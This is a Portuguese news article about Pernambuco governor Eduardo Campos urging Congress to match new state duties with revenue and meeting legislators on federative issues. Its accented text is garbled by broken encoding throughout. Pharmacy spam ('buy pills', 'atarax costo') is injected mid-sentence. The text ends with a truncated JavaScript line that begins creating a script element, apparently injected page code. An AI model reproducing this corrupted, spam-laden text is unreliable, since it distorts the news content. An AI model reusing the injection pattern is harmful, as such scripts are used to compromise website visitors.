O governador de Pernambuco, Eduardo Campos, cobrou hA? pouco que o Congresso Nacional aprove medidas que relacionem o aumento das despesas dos estados Ai?? fonte de receita necessA?ria para cobrir essas despesas.
ai???Queremos que a pauta do Congresso trate com prioridade o exame das PECs e projetos de lei complementar que atendam a esse conteA?do, nA?o suportamos mais o aumento de despesas sem a garantia de receita correspondenteai???, declarou.
Em seu discurso na abertura da reuniA?o dos governadores com os presidentes da CA?mara e do Senado, Campos citou explicitamente a Proposta de Emenda Ai?? ConstituiAi??A?o (PEC) 172/12, do deputado MendonAi??a Filho (DEM-PE) e outros, que proAi??be a UniA?o de delegar prestaAi??A?o de serviAi??os aos estados, Distrito Federal ou aos municAi??pios sem previsA?o, em lei, de repasses financeiros necessA?rios ao seu custeio.
Campos lembrou ainda que os estados fizeram, nos A?ltimos trA?s anos, investimentos superiores aos realizados pela UniA?o e pelos municAi??pios.
Antes do encontro no plenA?rio, por mais de uma hora, o governador de Pernambuco, Eduardo Campos, reuniu-se nesta quarta-feira (13) com o senador Armando Monteiro (PTB/PE) para aprofundar discussA?o sobre projetos em tramitaAi??A?o no Congresso Nacional e que dizem respeito ao pacto federativo.
O encontro ocorreu no gabinete do prA?prio Armando e contou com a participaAi??A?o do deputado buy pillsBeto Albuquerque (RS), lAi??der do PSB na CA?mara.
Eduardo Campos e Armando Monteiro afinaram suas posiAi??Ai??es antes de seguirem juntos para o encontro promovido pelo presidente da CA?mara dos Deputados, Henrique Eduardo Alves (PMDB/RN), com todos os governadores do paAi??s.
Eles conversaram, por exemplo, sobre o projeto que modifica as regras do ICMS e que pode encerrar a guerra fiscal entre os estados; trataram da proposta de mudanAi??a nos indexadores das dAi??vidas estaduais, cujo principal objetivo Ai?? reduzir as despesas com pagamento de dAi??bitos, permitindo a ampliaAi??A?o dos investimentos em infraestrutura.
ApA?s a reuniA?o, Eduardo Campos e Armando Monteiro foram juntos, na companhia da senadora Ana AmAi??lia (PP/RS), fazer uma visita ao senador Jarbas Vasconcelos (PMDB/PE), de onde seguiram para o SalA?o Negro do Congresso, onde ocorreu o encontro com os governadores. atarax costo var d=document;var s=d.createElement(‘script’);
